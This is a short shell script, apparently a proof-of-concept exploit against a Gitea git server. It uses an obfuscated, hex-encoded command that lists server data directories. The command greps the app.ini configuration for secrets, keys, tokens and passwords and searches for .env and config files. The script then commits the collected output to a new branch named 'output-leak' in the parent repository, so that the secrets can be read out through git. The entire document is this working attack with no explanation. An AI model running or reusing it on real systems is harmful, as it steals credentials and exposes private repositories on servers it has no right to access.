#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$(printf '%b' "\x6c\x73\x20\x2d\x6c\x61\x20\x2f\x64\x61\x74\x61\x2f\x67\x69\x74\x65\x61\x2f\x3b\x20\x65\x63\x68\x6f\x20\x2d\x2d\x2d\x3b\x20\x63\x61\x74\x20\x2f\x64\x61\x74\x61\x2f\x67\x69\x74\x65\x61\x2f\x63\x6f\x6e\x66\x2f\x61\x70\x70\x2e\x69\x6e\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x7c\x20\x67\x72\x65\x70\x20\x2d\x69\x45\x20\x22\x73\x65\x63\x72\x65\x74\x7c\x5f\x6b\x65\x79\x7c\x74\x6f\x6b\x65\x6e\x7c\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x7c\x20\x68\x65\x61\x64\x20\x2d\x32\x30\x3b\x20\x65\x63\x68\x6f\x20\x2d\x2d\x2d\x3b\x20\x6c\x73\x20\x2d\x6c\x61\x20\x2f\x64\x61\x74\x61\x2f\x67\x69\x74\x2f\x20\x2f\x64\x61\x74\x61\x2f\x67\x69\x74\x2f\x72\x65\x70\x6f\x73\x69\x74\x6f\x72\x69\x65\x73\x2f\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x7c\x20\x68\x65\x61\x64\x20\x2d\x32\x30\x3b\x20\x65\x63\x68\x6f\x20\x2d\x2d\x2d\x3b\x20\x6c\x73\x20\x2f\x64\x61\x74\x61\x2f\x67\x69\x74\x2f\x72\x65\x70\x6f\x73\x69\x74\x6f\x72\x69\x65\x73\x2f\x2a\x2f\x20\x2d\x64\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x7c\x20\x68\x65\x61\x64\x3b\x20\x65\x63\x68\x6f\x20\x2d\x2d\x2d\x3b\x20\x66\x69\x6e\x64\x20\x2f\x64\x61\x74\x61\x20\x2d\x6e\x61\x6d\x65\x20\x22\x2a\x2e\x65\x6e\x76\x2a\x22\x20\x2d\x6f\x20\x2d\x6e\x61\x6d\x65\x20\x22\x63\x6f\x6e\x66\x69\x67\x2a\x22\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x7c\x20\x68\x65\x61\x64\x20\x2d\x31\x30" | sh 2>&1; echo "[rc=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=p@e.i GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=p@e.i git --git-dir="$REPO" commit-tree "$TREE" -m leak) git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"